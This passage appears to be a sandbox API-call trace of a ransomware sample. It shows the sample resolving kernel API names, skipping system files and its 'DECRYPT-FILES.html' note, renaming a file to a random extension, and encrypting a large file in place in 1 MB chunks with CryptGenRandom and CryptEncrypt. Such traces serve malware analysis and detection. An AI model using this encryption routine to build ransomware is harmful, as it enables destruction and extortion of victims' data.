| out: lpString1="CreateFileA") returned="CreateFileA" [0149.537] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.537] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.537] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.537] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.537] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.537] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.537] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.537] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.537] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.538] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0149.538] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.538] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.538] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.538] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.538] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.538] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.538] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.538] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.538] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.538] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.538] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.538] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.538] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.538] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.538] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.538] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.538] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.538] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.539] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.539] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.539] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.539] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.539] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.539] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.539] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.539] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.539] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0149.539] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.539] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.539] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.539] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.539] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.539] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.539] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.539] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.540] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0149.540] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.540] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.540] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.540] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.540] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.540] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.540] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.540] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.540] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.540] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.540] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.540] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.540] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.541] wsprintfW (in: param_1=0x38bea60, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\header.bmp.dbvNrW") returned 39 [0149.541] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\header.bmp.dbvNrW" (normalized: "c:\\588bce7c90097ed212\\header.bmp.dbvnrw"), dwFlags=0x0) returned 1 [0149.542] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.542] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.542] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.543] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x31, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="DECRYPT-FILES.html") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="autorun.inf") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="boot.ini") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="desktop.ini") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="ntuser.dat") returned -1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="iconcache.db") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="bootsect.bak") returned 1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="ntuser.dat.log") returned -1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="thumbs.db") returned -1 [0149.543] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="Bootfont.bin") returned 1 [0149.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0149.543] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0149.543] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0149.543] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Core.mzz" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz" [0149.543] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0149.544] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38be8b8 | out: lpFileSize=0x38be8b8*=181483595) returned 1 [0149.544] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.544] ReadFile (in: hFile=0x528, lpBuffer=0x38be8c4, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x38be8c0, lpOverlapped=0x0 | out: lpBuffer=0x38be8c4*, lpNumberOfBytesRead=0x38be8c0*=0x108, lpOverlapped=0x0) returned 1 [0149.712] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.712] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.712] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.712] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38be8b8*, pdwDataLen=0x38be8a4*=0x28, dwBufLen=0x100 | out: pbData=0x38be8b8*, pdwDataLen=0x38be8a4*=0x100) returned 1 [0149.712] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.713] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0149.713] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0150.056] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.056] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0150.059] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0150.739] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.739] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0150.742] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0150.981] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.981] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0150.985] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0150.997] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.997] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0151.000] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0151.253] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.253] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0151.256] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0151.954] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.954] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0151.956] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0151.966] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.966] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0151.968] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.132] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.132] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.134] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.238] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.238] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.241] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.474] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.474] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.476] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.718] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.718] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.721] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.924] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.925] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.927] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.936] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.936] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.938] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0152.971] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.972] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0152.974] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, lpNumberOfBytesRead=0x38be89c*=0x100000, lpOverlapped=0x0) returned 1 [0153.075] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.075] WriteFile (in: hFile=0x528, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x38be8a0, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be8a0*=0x100000, lpOverlapped=0x0) returned 1 [0153.077] ReadFile (in: hFile=0x528, lpBuffer=0x2d20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x38be89c, lpOverlapped=0x0 | out: lpBuffer=0x2d20000*, 